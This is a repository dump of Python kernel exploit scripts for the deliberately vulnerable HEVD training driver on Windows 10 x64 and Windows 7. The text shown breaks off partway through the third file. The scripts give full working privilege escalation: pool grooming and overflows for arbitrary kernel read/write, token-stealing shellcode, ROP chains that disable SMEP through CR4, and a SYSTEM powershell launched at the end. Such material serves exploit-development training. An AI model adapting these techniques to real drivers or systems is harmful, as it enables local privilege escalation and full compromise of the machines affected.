├── Windows 10 v1703 x64
    ├── BufferOverflowNonPagedPoolNx_v3.00.py
    ├── BufferOverflowStack_v3.00.py
    ├── DoubleFetch_v1.20.py
    ├── TypeConfusion_v2.00.py
    ├── TypeConfusion_v3.00.py
    ├── UninitializedHeapVariable_v1.20.py
    ├── UninitializedStackVariable_v1.20.py
    ├── UseAfterFree_NonPagedPoolNx_v3.00.py
    └── UseAfterFree_v1.20.py
└── Windows 7 SP1 x86
    ├── ArbitraryOverwrite_HAL_v1.20.py
    ├── ArbitraryOverwrite_v1.20.py
    ├── DoubleFetch_v1.20.py
    ├── IntegerOverflow_v1.20.py
    ├── NullPointerDereference_v1.20.py
    ├── PoolOverflow_v1.20.py
    ├── StackOverflowGS_v1.20.py
    ├── StackOverflow_v1.20.py
    ├── TypeConfusion_v1.20.py
    ├── UninitializedHeapVariable_v1.20.py
    ├── UninitializedStackVariable_v1.20.py
    └── UseAfterFree_v1.20.py


/Windows 10 v1703 x64/BufferOverflowNonPagedPoolNx_v3.00.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/python
  2 | #
  3 | # HEVD v3.00 BufferOverflowNonPagedPoolNx exploit for Windows 10 v1703 x64 by @acru3l.
  4 | #
  5 | 
  6 | import sys
  7 | import struct
  8 | import os
  9 | from ctypes import *
 10 | from ctypes.wintypes import *
 11 | 
 12 | ioctl_BufferOverflowNonPagedPoolNx = 0x22204B
 13 | ioctl_CreateArbitraryReadWriteHelperObjectNonPagedPoolNx = 0x222063
 14 | ioctl_SetArbitraryReadWriteHelperObjecNameNonPagedPoolNx = 0x222067
 15 | ioctl_GetArbitraryReadWriteHelperObjecNameNonPagedPoolNx = 0x22206B
 16 | ioctl_DeleteArbitraryReadWriteHelperObjectNonPagedPoolNx = 0x22206F
 17 | 
 18 | device_name = r'\\.\HackSysExtremeVulnerableDriver'
 19 | hFile = None
 20 | 
 21 | class ARW_HELPER_OBJECT_NON_PAGED_POOL_NX(Structure):
 22 |     _fields_ = [('Name', c_void_p),
 23 |                 ('Length', c_ulonglong)]
 24 | 
 25 | class ARW_HELPER_OBJECT_IO(Structure):
 26 |     _fields_ = [('HelperObjectAddress', c_void_p),
 27 |                 ('Name', c_void_p),
 28 |                 ('Length', c_ulonglong)]
 29 | 
 30 | def open_device():
 31 |     '''
 32 |     (re)open vulnerable device
 33 |     '''
 34 |     global hFile
 35 |     
 36 |     if hFile > 0:
 37 |         windll.kernel32.CloseHandle(hFile)
 38 |     
 39 |     hFile = windll.kernel32.CreateFileA(
 40 |         device_name,
 41 |         0xC0000000,                                     # GENERIC_READ | GENERIC_WRITE
 42 |         0x00000001,                                     # FILE_SHARE_READ
 43 |         0,                                              # NULL
 44 |         3,                                              # OPEN_EXISTING
 45 |         0x80,                                           # FILE_ATTRIBUTE_NORMAL
 46 |         0)                                              # NULL
 47 |     
 48 |     if hFile == -1:
 49 |         #print '[-] Failed to open device: %s' % device_name
 50 |         return False
 51 |     else:
 52 |         #print '[+] Device opened successfully: %s' % device_name
 53 |         return True
 54 | 
 55 | def call_BufferOverflowNonPagedPoolNx(data):
 56 |     '''
 57 |     DeviceIoControl wrapper
 58 |     '''
 59 |     open_device()
 60 |     data_buff = create_string_buffer(data)
 61 |     bytes_retn = c_ulong(0)
 62 |     
 63 |     print '[+] Triggering buffer overflow in NonPagedPoolNx'
 64 |     
 65 |     windll.kernel32.DeviceIoControl(
 66 |         hFile,
 67 |         ioctl_BufferOverflowNonPagedPoolNx,
 68 |         data_buff,
 69 |         len(data),
 70 |         0,
 71 |         0,
 72 |         byref(bytes_retn),
 73 |         0)
 74 | 
 75 | def call_CreateArbitraryReadWriteHelperObjectNonPagedPoolNx(size):
 76 |     '''
 77 |     DeviceIoControl wrapper
 78 |     '''
 79 |     open_device()
 80 |     helper_io = ARW_HELPER_OBJECT_IO()
 81 |     helper_io.HelperObjectAddress = c_void_p(0)
 82 |     helper_io.Name = c_void_p(0)
 83 |     helper_io.Length = c_ulonglong(size)
 84 |     bytes_retn = c_ulong(0)
 85 |     
 86 |     windll.kernel32.DeviceIoControl(
 87 |         hFile,
 88 |         ioctl_CreateArbitraryReadWriteHelperObjectNonPagedPoolNx,
 89 |         addressof(helper_io),
 90 |         sizeof(helper_io),
 91 |         0,
 92 |         0,
 93 |         byref(bytes_retn),
 94 |         0)
 95 |     return helper_io.HelperObjectAddress
 96 | 
 97 | def call_SetArbitraryReadWriteHelperObjecNameNonPagedPoolNx(obj, name):
 98 |     '''
 99 |     DeviceIoControl wrapper
100 |     '''
101 |     open_device()
102 |     
103 |     helper_io = ARW_HELPER_OBJECT_IO()
104 |     helper_io.HelperObjectAddress = c_void_p(obj)
105 |     name_buff = create_string_buffer(name)
106 |     helper_io.Name = c_void_p(addressof(name_buff))
107 |     helper_io.Length = c_ulonglong(len(name))
108 |     bytes_retn = c_ulong(0)
109 |     
110 |     windll.kernel32.DeviceIoControl(
111 |         hFile,
112 |         ioctl_SetArbitraryReadWriteHelperObjecNameNonPagedPoolNx,
113 |         addressof(helper_io),
114 |         sizeof(helper_io),
115 |         0,
116 |         0,
117 |         byref(bytes_retn),
118 |         0)
119 | 
120 | def call_GetArbitraryReadWriteHelperObjecNameNonPagedPoolNx(obj):
121 |     '''
122 |     DeviceIoControl wrapper
123 |     '''
124 |     open_device()
125 |     helper_io = ARW_HELPER_OBJECT_IO()
126 |     helper_io.HelperObjectAddress = c_void_p(obj)
127 |     name_buff = create_string_buffer(0x8)
128 |     helper_io.Name = c_void_p(addressof(name_buff))
129 |     helper_io.Length = c_ulonglong(0)
130 |     bytes_retn = c_ulong(0)
131 |     
132 |     windll.kernel32.DeviceIoControl(
133 |         hFile,
134 |         ioctl_GetArbitraryReadWriteHelperObjecNameNonPagedPoolNx,
135 |         addressof(helper_io),
136 |         sizeof(helper_io),
137 |         0,
138 |         0,
139 |         byref(bytes_retn),
140 |         0)
141 |     return name_buff.raw
142 | 
143 | def call_DeleteArbitraryReadWriteHelperObjecNonPagedPoolNx(obj):
144 |     '''
145 |     DeviceIoControl wrapper
146 |     '''
147 |     open_device()
148 |     helper_io = ARW_HELPER_OBJECT_IO()
149 |     helper_io.HelperObjectAddress = c_void_p(obj)
150 |     helper_io.Name = c_void_p(0)
151 |     helper_io.Length = c_ulonglong(0)
152 |     bytes_retn = c_ulong(0)
153 |     
154 |     windll.kernel32.DeviceIoControl(
155 |         hFile,
156 |         ioctl_DeleteArbitraryReadWriteHelperObjectNonPagedPoolNx,
157 |         addressof(helper_io),
158 |         sizeof(helper_io),
159 |         0,
160 |         0,
161 |         byref(bytes_retn),
162 |         0)
163 | 
164 | def create_event_object():
165 |     '''
166 |     CreateEventA wrapper
167 |     '''
168 |     return windll.kernel32.CreateEventA(
169 |         0,
170 |         0,
171 |         0,
172 |         '')
173 | 
174 | def read_qword(addr):
175 |     '''
176 |     read arbitrary qword using corrupted helper obj
177 |     '''
178 |     name = struct.pack('<Q', addr)
179 |     call_SetArbitraryReadWriteHelperObjecNameNonPagedPoolNx(corrupted, name)
180 |     res = call_GetArbitraryReadWriteHelperObjecNameNonPagedPoolNx(rw_helper)
181 |     return struct.unpack('<Q', res)[0]
182 | 
183 | def write_qword(addr, value):
184 |     '''
185 |     write arbitrary qword using corrupted helper obj
186 |     '''
187 |     name = struct.pack('<Q', addr)
188 |     data = struct.pack('<Q', value)
189 |     call_SetArbitraryReadWriteHelperObjecNameNonPagedPoolNx(corrupted, name)
190 |     call_SetArbitraryReadWriteHelperObjecNameNonPagedPoolNx(rw_helper, data)
191 | 
192 | def test_arw():
193 |     '''
194 |     check if arbitrary read/write works as we expect
195 |     '''
196 |     import random
197 |     rand_int = random.randint(0, 2 ** 0x40)
198 |     rand_data = struct.pack('<Q', rand_int)
199 |     rand_buff = create_string_buffer(rand_data)
200 |     read_value = read_qword(addressof(rand_buff))
201 |     if read_value != rand_int:
202 |         print '[-] Test read failed: %016x != %016x' % (read_value, rand_int)
203 |         return False
204 |     print '[+] Test read success'
205 |     
206 |     rand_int = random.randint(0, 2 ** 0x40)
207 |     rand_data = struct.pack('<Q', rand_int)
208 |     write_buff = create_string_buffer(8)
209 |     write_qword(addressof(write_buff), rand_int)
210 |     if write_buff.raw != rand_data:
211 |         print '[-] Test write failed: %016x != %016x' % (struct.unpack('<Q', write_buff.raw)[0], rand_int)
212 |         return False
213 |     print '[+] Test write success'
214 |     
215 |     return True
216 | 
217 | def get_kernel_base():
218 |     '''
219 |     find base address of the kernel via EnumDeviceDrivers
220 |     '''
221 |     array = c_ulonglong * 0x400
222 |     addr = array()
223 |     
224 |     windll.psapi.EnumDeviceDrivers.argtypes = [POINTER(LPVOID), DWORD, POINTER(DWORD)]
225 |     windll.psapi.EnumDeviceDrivers.restype = BOOL
226 |     
227 |     res = windll.psapi.EnumDeviceDrivers(
228 |             cast(byref(addr), POINTER(LPVOID)),
229 |             sizeof(addr),
230 |             byref(c_ulong(0)))
231 |     if not res:
232 |         return None
233 |     
234 |     # Kernel is the first entry of the result
235 |     return addr[0]
236 | 
237 | def get_device_name(addr):
238 |     '''
239 |     find file name of kernel via GetDeviceDriverBaseNameA
240 |     '''
241 |     buff = create_string_buffer(0x400)
242 |     
243 |     windll.psapi.GetDeviceDriverBaseNameA.argtypes = [LPVOID, LPCSTR, DWORD]
244 |     windll.psapi.GetDeviceDriverBaseNameA.restype = DWORD
245 |     
246 |     res = windll.psapi.GetDeviceDriverBaseNameA(
247 |             addr,
248 |             buff,
249 |             sizeof(buff))
250 |     if res == 0:
251 |         return None
252 |     
253 |     return buff[:res]
254 | 
255 | def get_PsInitialSystemProcess():
256 |     '''
257 |     find PsInitialSystemProcess from kernel address space
258 |     '''
259 |     base_addr = get_kernel_base()
260 |     if not base_addr:
261 |         print '[-] Failed to obtain Kernel base'
262 |         return None
263 |     print '[+] Kernel base address: 0x%016x' % base_addr
264 |     
265 |     kernel_name = get_device_name(base_addr)
266 |     if not kernel_name:
267 |         print '[+] Failed to obtain Kernel name'
268 |         return None
269 |     print '[+] Kernel name: %s' % kernel_name
270 |     
271 |     windll.kernel32.LoadLibraryA.argtypes = [LPCSTR]
272 |     windll.kernel32.LoadLibraryA.restype = LPVOID
273 |     
274 |     hModule = windll.kernel32.LoadLibraryA(kernel_name)
275 |     if hModule == 0:
276 |         print '[-] Failed to load Kernel image: %s' % kernel_name
277 |         return None
278 |     print '[+] Kernel image loaded: 0x%016x' % hModule
279 |     
280 |     windll.kernel32.GetProcAddress.argtypes = [HMODULE, LPCSTR]
281 |     windll.kernel32.GetProcAddress.restype = LPVOID 
282 |     
283 |     sys_init = windll.kernel32.GetProcAddress(hModule, 'PsInitialSystemProcess')
284 |     if sys_init == 0:
285 |         print '[-] Failed to find PsInitialSystemProcess'
286 |         return None
287 |         
288 |     sys_init_kernel = base_addr - hModule + sys_init
289 |     
290 |     return sys_init_kernel
291 | 
292 | def steal_token(sys_eproc):
293 |     sys_pid = read_qword(sys_eproc + 0x2E0)                 # 0x2E0 = offset nt!_EPROCESS.UniqueProcessId
294 |     sys_token = read_qword(sys_eproc + 0x358)               # 0x358 = offset nt!_EPROCESS.Token
295 | 
296 |     print '[+] System\'s EPROCESS: 0x%016x' % sys_eproc
297 |     print '[+] pid = %x, token = 0x%016x' % (sys_pid, sys_token)
298 | 
299 |     # find my own EPROCESS
300 |     print '[+] Walking through ActiveProcessLinks list'
301 | 
302 |     my_pid = os.getpid()
303 |     eproc = sys_eproc
304 |     while True:
305 |         eproc = read_qword(eproc + 0x2E8) - 0x2E8           # 0x2E8 = offset nt!_EPROCESS.ActiveProcessLinks.Flink
306 |         pid = read_qword(eproc + 0x2E0)                     # 0x2E0 = offset nt!_EPROCESS.UniqueProcessId
307 |         if pid == my_pid:
308 |             print '[+] Found my EPROCESS: 0x%016x' % eproc
309 |             my_eproc = eproc
310 |             break
311 |         if pid == sys_pid:
312 |             print '[-] Couldn\'t find my EPROCESS'
313 |             return
314 |     
315 |     # setting stolen token
316 |     print '[+] Installing SYSTEM token'
317 | 
318 |     write_qword(my_eproc + 0x358, sys_token)                # 0x358 = offset nt!_EPROCESS.Token
319 | 
320 | def break_code():
321 |     import time
322 |     time.sleep(0.5)
323 |     windll.kernel32.DebugBreak()
324 | 
325 | if __name__ == '__main__':
326 |     if not open_device():
327 |         sys.exit(1)
328 |     
329 |     # start pool grooming
330 |     for i in xrange(0x10000):
331 |         create_event_object()
332 |     
333 |     # placing helper objs
334 |     # -----+-----+--------+-----+-----+-----+-----+--------+-----+-----
335 |     #  ... | evt | helper | evt | evt | evt | evt | helper | evt | ...
336 |     # -----+-----+--------+-----+-----+-----+-----+--------+-----+-----
337 |     helper_objs = []
338 |     evt_handles = []
339 |     for i in xrange(0x5000):
340 |         if i % 5 == 0:
341 |             obj = call_CreateArbitraryReadWriteHelperObjectNonPagedPoolNx(0x8)
342 |             if obj:
343 |                 helper_objs.append(obj)
344 |                 name = 'A' * 0x8
345 |                 call_SetArbitraryReadWriteHelperObjecNameNonPagedPoolNx(obj, name)
346 |             else:
347 |                 print '[!] Failed to create helper object'
348 |         else:
349 |             evt_handles.append(create_event_object())
350 |     
351 |     # creating holes
352 |     # -----+-----+--------+-----+-----+-----+-----+--------+-----+-----
353 |     #  ... |  F  | helper |  F  |  F  |  F  |  F  | helper |  F  | ...
354 |     # -----+-----+--------+-----+-----+-----+-----+--------+-----+-----
355 |     for h in evt_handles:
356 |         windll.kernel32.CloseHandle(h)
357 |     
358 |     # helper obj to do arw
359 |     rw_helper = call_CreateArbitraryReadWriteHelperObjectNonPagedPoolNx(0x10)
360 |     
361 |     print '[+] rw_helper = 0x%016x' % rw_helper
362 |     
363 |     # kd> dt nt!_POOL_HEADER ffffd201bb8db480 
364 |     #    +0x000 PreviousSize     : 0y00100000 (0x20)
365 |     #    +0x000 PoolIndex        : 0y00000000 (0)
366 |     #    +0x002 BlockSize        : 0y00000010 (0x2)
367 |     #    +0x002 PoolType         : 0y00000010 (0x2)
368 |     #    +0x000 Ulong1           : 0x2020020
369 |     #    +0x004 PoolTag          : 0x6b636148
370 |     #    +0x008 ProcessBilled    : (null) 
371 |     #    +0x008 AllocatorBackTraceIndex : 0
372 |     #    +0x00a PoolTagHash      : 0
373 |     fake_header0 = struct.pack('<Q', 0x6b63614802020020) + \
374 |                    struct.pack('<Q', 0xa7e8f97e26e752d7)
375 |     fake_buffer  = struct.pack('<Q', 0x4141414141414141) + \
376 |                    struct.pack('<Q', 0x0000000000000000)
377 | 
378 |     # kd> dt nt!_POOL_HEADER ffffd201bb8db4a0 
379 |     #    +0x000 PreviousSize     : 0y00000010 (0x2)
380 |     #    +0x000 PoolIndex        : 0y00000000 (0)
381 |     #    +0x002 BlockSize        : 0y00000010 (0x2)
382 |     #    +0x002 PoolType         : 0y00000010 (0x2)
383 |     #    +0x000 Ulong1           : 0x2020002
384 |     #    +0x004 PoolTag          : 0x6b636148
385 |     #    +0x008 ProcessBilled    : (null) 
386 |     #    +0x008 AllocatorBackTraceIndex : 0
387 |     #    +0x00a PoolTagHash      : 0
388 |     fake_header1 = struct.pack('<Q', 0x6b63614802020002) + \
389 |                    struct.pack('<Q', 0xa7e8f97e26e752d7)
390 |     fake_helper  = struct.pack('<Q', rw_helper) + \
391 |                    struct.pack('<Q', 0x0000000000000008)
392 |     
393 |     payload = 'B' * 0x1F0 + \
394 |               fake_header0 + \
395 |               fake_buffer + \
396 |               fake_header1 + \
397 |               fake_helper
398 |     
399 |     # plug a hole and overflow
400 |     # -----+-----+--------+-----+-----+-----+-----+--------+-----+-----
401 |     #  ... |  F  | helper |       overflow   -->  | helper |  F  | ...
402 |     # -----+-----+--------+-----+-----+-----+-----+--------+-----+-----
403 |     call_BufferOverflowNonPagedPoolNx(payload)
404 |     
405 |     # search for corrupted obj
406 |     corrupted = None
407 |     for p in helper_objs:
408 |         name = call_GetArbitraryReadWriteHelperObjecNameNonPagedPoolNx(p)
409 |         if name[:0x8] != 'A' * 0x8 and name[:0x8] != struct.pack('<Q', rw_helper):
410 |             corrupted = p
411 |             print '[+] Found an corrupted object: 0x%016x' % p
412 |             #print name[:0x8].encode('hex')
413 |     if not corrupted:
414 |         print '[-] Failed to corrupt helper object'
415 |         sys.exit(1)
416 |     
417 |     # test arw before proceeding
418 |     if not test_arw():
419 |         sys.exit(1)
420 |     
421 |     # find PsInitialSystemProcess
422 |     sys_init = get_PsInitialSystemProcess()
423 |     
424 |     # address of SYSTEM EPROCESS
425 |     if sys_init:
426 |         sys_eproc = read_qword(sys_init)
427 |     
428 |     # steal SYSTEM token
429 |     if sys_eproc:
430 |         steal_token(sys_eproc)
431 |     
432 |     # Got SYSTEM shell?
433 |     os.system("powershell.exe")
434 |     
435 |     # clean up helper objs
436 |     for p in helper_objs:
437 |         if p != corrupted:
438 |             call_DeleteArbitraryReadWriteHelperObjecNonPagedPoolNx(p)
439 | 


--------------------------------------------------------------------------------
/Windows 10 v1703 x64/BufferOverflowStack_v3.00.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/python
  2 | #
  3 | # HEVD v3.00 BufferOverflowStack exploit for Windows 10 v1703 x64 by @acru3l.
  4 | #
  5 | 
  6 | import sys
  7 | import struct
  8 | from ctypes import *
  9 | from ctypes.wintypes import *
 10 | 
 11 | ioctl_BufferOverflowStack = 0x222003
 12 | 
 13 | device_name = r'\\.\HackSysExtremeVulnerableDriver'
 14 | hFile = None
 15 | 
 16 | def pusha():
 17 |     '''
 18 |     alernative to pusha on x86
 19 |     '''
 20 |     # assembled with metasm
 21 |     code = ''
 22 |     code += '\x50'                                      # push rax
 23 |     code += '\x53'                                      # push rbx
 24 |     code += '\x51'                                      # push rcx
 25 |     code += '\x52'                                      # push rdx
 26 |     code += '\x57'                                      # push rdi
 27 |     code += '\x56'                                      # push rsi
 28 |     code += '\x55'                                      # push rbp
 29 |     code += '\x41\x50'                                  # push r8
 30 |     code += '\x41\x51'                                  # push r9
 31 |     code += '\x41\x52'                                  # push r10
 32 |     code += '\x41\x53'                                  # push r11
 33 |     code += '\x41\x54'                                  # push r12
 34 |     code += '\x41\x55'                                  # push r13
 35 |     code += '\x41\x56'                                  # push r14
 36 |     code += '\x41\x57'                                  # push r15
 37 |     
 38 |     return code
 39 | 
 40 | def popa():
 41 |     '''
 42 |     alternative to popa on x86
 43 |     '''
 44 |     # assembled with metasm
 45 |     code = ''
 46 |     code += '\x41\x5f'                                  # pop r15
 47 |     code += '\x41\x5e'                                  # pop r14
 48 |     code += '\x41\x5d'                                  # pop r13
 49 |     code += '\x41\x5c'                                  # pop r12
 50 |     code += '\x41\x5b'                                  # pop r11
 51 |     code += '\x41\x5a'                                  # pop r10
 52 |     code += '\x41\x59'                                  # pop r9
 53 |     code += '\x41\x58'                                  # pop r8
 54 |     code += '\x5d'                                      # pop rbp
 55 |     code += '\x5e'                                      # pop rsi
 56 |     code += '\x5f'                                      # pop rdi
 57 |     code += '\x5a'                                      # pop rdx
 58 |     code += '\x59'                                      # pop rcx
 59 |     code += '\x5b'                                      # pop rbx
 60 |     code += '\x58'                                      # pop rax
 61 |     
 62 |     return code
 63 | 
 64 | def shellcode():
 65 |     '''
 66 |     token stealing shellcode
 67 |     '''
 68 |     # assembled with metasm
 69 |     # steal token
 70 |     code = ''
 71 |     code += pusha()
 72 |     code += '\x65\x48\x8b\x04\x25\x88\x01\x00\x00'      # mov rax,[gs:0x188]        ; 0x188 = offset nt!_KPCR.PcrbData.CurrentThread
 73 |     code += '\x48\x8b\x80\xb8\x00\x00\x00'              # mov rax,[rax+0xb8]        ; 0xB8  = offset nt!_KTHREAD.ApcState.Process
 74 |     code += '\x48\x89\xc3'                              # mov rbx,rax
 75 |     code += '\x48\x8b\x9b\xe8\x02\x00\x00'              # mov rbx,[rbx+0x2e8]       ; 0x2E8 = offset nt!_EPROCESS.ActiveProcessLinks.Flink
 76 |     code += '\x48\x81\xeb\xe8\x02\x00\x00'              # sub rbx,0x2e8
 77 |     code += '\x48\x8b\x8b\xe0\x02\x00\x00'              # mov rcx,[rbx+0x2e0]       ; 0x2E0 = offset nt!_EPROCESS.UniqueProcessId
 78 |     code += '\x48\x83\xf9\x04'                          # cmp rcx,4
 79 |     code += '\x75\xe5'                                  # jnz $-0x19
 80 |     code += '\x48\x8b\x8b\x58\x03\x00\x00'              # mov rcx,[rbx+0x358]       ; 0x358 = offset nt!_EPROCESS.Token
 81 |     code += '\x48\x89\x88\x58\x03\x00\x00'              # mov [rax+0x358],rcx
 82 |     code += popa()
 83 |     # recover regs
 84 |     code += '\x48\xc7\xc3\x03\x00\x00\x00'              # mov rbx,3
 85 |     code += '\x48\xbe\xbb\x00\x00\xc0\x00\x00\x00\x00'  # mov rsi,0xc00000bb
 86 |     code += '\x48\xc7\xc7\x4d\x00\x00\x00'              # mov rdi,0x4d
 87 |     code += '\x4d\x31\xff'                              # xor r15,r15
 88 |     code += '\x4c\x8d\xb5\xd0\x00\x00\x00'              # lea r14,[rbp+0xd0]
 89 |     code += '\x4d\x31\xe4'                              # xor r12,r12
 90 |     code += '\x48\x83\xc4\x10'                          # add rsp,0x10
 91 |     code += '\xc3'                                      # ret
 92 |     
 93 |     return code
 94 | 
 95 | def alloc_buffer(data):
 96 |     '''
 97 |     alloc buffer and copy data
 98 |     '''
 99 |     windll.kernel32.VirtualAlloc.argtypes = [LPVOID, c_size_t, DWORD, DWORD]
100 |     windll.kernel32.VirtualAlloc.restype = LPVOID
101 |     
102 |     buffer = windll.kernel32.VirtualAlloc(
103 |         0,
104 |         len(data),
105 |         0x00003000,                                     # MEM_COMMIT | MEM_RESERVE
106 |         0x40)                                           # PAGE_EXECUTE_READWRITE
107 |     
108 |     memmove(buffer, data, len(data))
109 |     
110 |     return buffer
111 | 
112 | def build_ropchain(kernel_base, shellcode_addr):
113 |     '''
114 |     trampoline to shellcode
115 |     '''
116 |     chain = ''
117 |     chain += struct.pack('<Q', kernel_base + 0x597b)    # pop rcx; ret;
118 |     chain += struct.pack('<Q', 0x00000000000506f8)      # disable SMEP
119 |     chain += struct.pack('<Q', kernel_base + 0x108552)  # mov cr4, rcx; ret;
120 |     chain += struct.pack('<Q', shellcode_addr)          # ret to userspace
121 |     
122 |     return chain
123 | 
124 | def open_device():
125 |     '''
126 |     (re)open vulnerable device
127 |     '''
128 |     global hFile
129 |     
130 |     if hFile > 0:
131 |         windll.kernel32.CloseHandle(hFile)
132 |     
133 |     hFile = windll.kernel32.CreateFileA(
134 |         device_name,
135 |         0xC0000000,                                     # GENERIC_READ | GENERIC_WRITE
136 |         0x00000001,                                     # FILE_SHARE_READ
137 |         0,                                              # NULL
138 |         3,                                              # OPEN_EXISTING
139 |         0x80,                                           # FILE_ATTRIBUTE_NORMAL
140 |         0)                                              # NULL
141 |     
142 |     if hFile == -1:
143 |         print '[-] Failed to open device: %s' % device_name
144 |         return False
145 |     else:
146 |         print '[+] Device opened successfully: %s' % device_name
147 |         return True
148 | 
149 | def call_BufferOverflowStack(data):
150 |     '''
151 |     DeviceIoControl wrapper
152 |     '''
153 |     open_device()
154 |     data_buff = create_string_buffer(data)
155 |     bytes_retn = c_ulong(0)
156 |     
157 |     print '[+] Triggering stack buffer overflow'
158 |     
159 |     windll.kernel32.DeviceIoControl(
160 |         hFile,
161 |         ioctl_BufferOverflowStack,
162 |         data_buff,
163 |         len(data),
164 |         0,
165 |         0,
166 |         byref(bytes_retn),
167 |         0)
168 | 
169 | def get_kernel_base():
170 |     '''
171 |     find base address of the kernel via EnumDeviceDrivers
172 |     '''
173 |     array = c_ulonglong * 0x400
174 |     addr = array()
175 |     
176 |     windll.psapi.EnumDeviceDrivers.argtypes = [POINTER(LPVOID), DWORD, POINTER(DWORD)]
177 |     windll.psapi.EnumDeviceDrivers.restype = BOOL
178 |     
179 |     res = windll.psapi.EnumDeviceDrivers(
180 |             cast(byref(addr), POINTER(LPVOID)),
181 |             sizeof(addr),
182 |             byref(c_ulong(0)))
183 |     if not res:
184 |         return None
185 |     
186 |     # Kernel is the first entry of the result
187 |     return addr[0]
188 | 
189 | def get_device_name(addr):
190 |     '''
191 |     find file name of kernel via GetDeviceDriverBaseNameA
192 |     '''
193 |     buff = create_string_buffer(0x400)
194 |     
195 |     windll.psapi.GetDeviceDriverBaseNameA.argtypes = [LPVOID, LPCSTR, DWORD]
196 |     windll.psapi.GetDeviceDriverBaseNameA.restype = DWORD
197 |     
198 |     res = windll.psapi.GetDeviceDriverBaseNameA(
199 |             addr,
200 |             buff,
201 |             sizeof(buff))
202 |     if res == 0:
203 |         return None
204 |     
205 |     return buff[:res]
206 | 
207 | def break_code():
208 |     import time
209 |     time.sleep(0.5)
210 |     windll.kernel32.DebugBreak()
211 | 
212 | if __name__ == '__main__':
213 |     if not open_device():
214 |         sys.exit(1)
215 |     
216 |     base_addr = get_kernel_base()
217 |     if not base_addr:
218 |         print '[-] Failed to obtain Kernel base'
219 |         sys.exit(1)
220 |     print '[+] Kernel base address: 0x%016x' % base_addr
221 |     
222 |     shellcode_addr = alloc_buffer(shellcode())
223 |     if not shellcode_addr:
224 |         print '[-] Failed to allocate shellcode'
225 |         sys.exit(1)
226 |     print '[+] Shellcode allocated at 0x%016x' % shellcode_addr
227 |     
228 |     ropchain = build_ropchain(base_addr, shellcode_addr)
229 |     
230 |     payload = 'A' * 0x818
231 |     payload += ropchain
232 |     
233 |     # trigger stack buffer overflow
234 |     call_BufferOverflowStack(payload)
235 |     
236 |     # Got SYSTEM shell?
237 |     import os
238 |     os.system('powershell.exe')
239 | 


--------------------------------------------------------------------------------
/Windows 10 v1703 x64/DoubleFetch_v1.20.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/python
  2 | #
  3 | # HEVD v1.20 DoubleFetch exploit for Windows 10 v1703 x64 by @acru3l.
  4 | #
  5 | 
  6 | import sys
  7 | import struct
  8 | import time
  9 | import threading
 10 | from ctypes import *
 11 | from ctypes.wintypes import *
 12 | 
 13 | ioctl_DoubleFetch = 0x222037
 14 | 
 15 | device_name = r'\\.\HackSysExtremeVulnerableDriver'
 16 | hFile = None
 17 | 
 18 | def pusha():
 19 |     '''
 20 |     alernative to pusha on x86
 21 |     '''
 22 |     # assembled with metasm
 23 |     code = ''
 24 |     code += '\x50'                                      # push rax
 25 |     code += '\x53'                                      # push rbx
 26 |     code += '\x51'                                      # push rcx
 27 |     
 28 |     return code
 29 | 
 30 | def popa():
 31 |     '''
 32 |     alternative to popa on x86
 33 |     '''
 34 |     # assembled with metasm
 35 |     code = ''
 36 |     code += '\x59'                                      # pop rcx
 37 |     code += '\x5b'                                      # pop rbx
 38 |     code += '\x58'                                      # pop rax
 39 |     
 40 |     return code
 41 | 
 42 | def shellcode():
 43 |     '''
 44 |     token stealing shellcode
 45 |     '''
 46 |     # assembled with metasm
 47 |     # steal token
 48 |     code = ''
 49 |     code += pusha()
 50 |     code += '\x65\x48\x8b\x04\x25\x88\x01\x00\x00'      # mov rax,[gs:0x188]        ; 0x188 = offset nt!_KPCR.PcrbData.CurrentThread
 51 |     code += '\x48\x8b\x80\xb8\x00\x00\x00'              # mov rax,[rax+0xb8]        ; 0xB8  = offset nt!_KTHREAD.ApcState.Process
 52 |     code += '\x48\x89\xc3'                              # mov rbx,rax
 53 |     code += '\x48\x8b\x9b\xe8\x02\x00\x00'              # mov rbx,[rbx+0x2e8]       ; 0x2E8 = offset nt!_EPROCESS.ActiveProcessLinks.Flink
 54 |     code += '\x48\x81\xeb\xe8\x02\x00\x00'              # sub rbx,0x2e8
 55 |     code += '\x48\x8b\x8b\xe0\x02\x00\x00'              # mov rcx,[rbx+0x2e0]       ; 0x2E0 = offset nt!_EPROCESS.UniqueProcessId
 56 |     code += '\x48\x83\xf9\x04'                          # cmp rcx,4
 57 |     code += '\x75\xe5'                                  # jnz $-0x19
 58 |     code += '\x48\x8b\x8b\x58\x03\x00\x00'              # mov rcx,[rbx+0x358]       ; 0x358 = offset nt!_EPROCESS.Token
 59 |     code += '\x48\x89\x88\x58\x03\x00\x00'              # mov [rax+0x358],rcx
 60 |     code += popa()
 61 |     # recover regs
 62 |     code += '\x48\x83\xc4\x10'                          # add rsp,0x10
 63 |     code += '\x48\x8b\x5c\x24\x28'                      # mov rbx,[rsp+0x28]
 64 |     code += '\x48\x8b\x83\xb8\x00\x00\x00'              # mov rax,[rbx+0xB8]
 65 |     code += '\x48\x8b\x40\x20'                          # mov rax,[rax+0x20]
 66 |     code += '\x49\xba\xef\xbe\xfe\xca\xce\xfa\xed\xfe'  # mov r10,0xfeedfacecafebeef ; mark as exploited
 67 |     code += '\x4c\x89\x10'                              # mov [rax],r10
 68 |     code += '\xc3'                                      # ret -> returns to HEVD!IrpDeviceIoCtlHandler+0x1d3
 69 |     
 70 |     return code
 71 | 
 72 | def alloc_buffer(data):
 73 |     '''
 74 |     alloc buffer and copy data
 75 |     '''
 76 |     windll.kernel32.VirtualAlloc.argtypes = [LPVOID, c_size_t, DWORD, DWORD]
 77 |     windll.kernel32.VirtualAlloc.restype = LPVOID
 78 |     
 79 |     buffer = windll.kernel32.VirtualAlloc(
 80 |         0,
 81 |         len(data),
 82 |         0x00003000,                                     # MEM_COMMIT | MEM_RESERVE
 83 |         0x40)                                           # PAGE_EXECUTE_READWRITE
 84 |     
 85 |     memmove(buffer, data, len(data))
 86 |     
 87 |     return buffer
 88 | 
 89 | def build_ropchain(kernel_base, shellcode_addr):
 90 |     '''
 91 |     trampoline to shellcode
 92 |     '''
 93 |     chain = ''
 94 |     chain += struct.pack('<Q', kernel_base + 0x597b)    # pop rcx; ret;
 95 |     chain += struct.pack('<Q', 0x506f8)                 # rcx
 96 |     chain += struct.pack('<Q', kernel_base + 0x108552)  # mov cr4, rcx; ret;
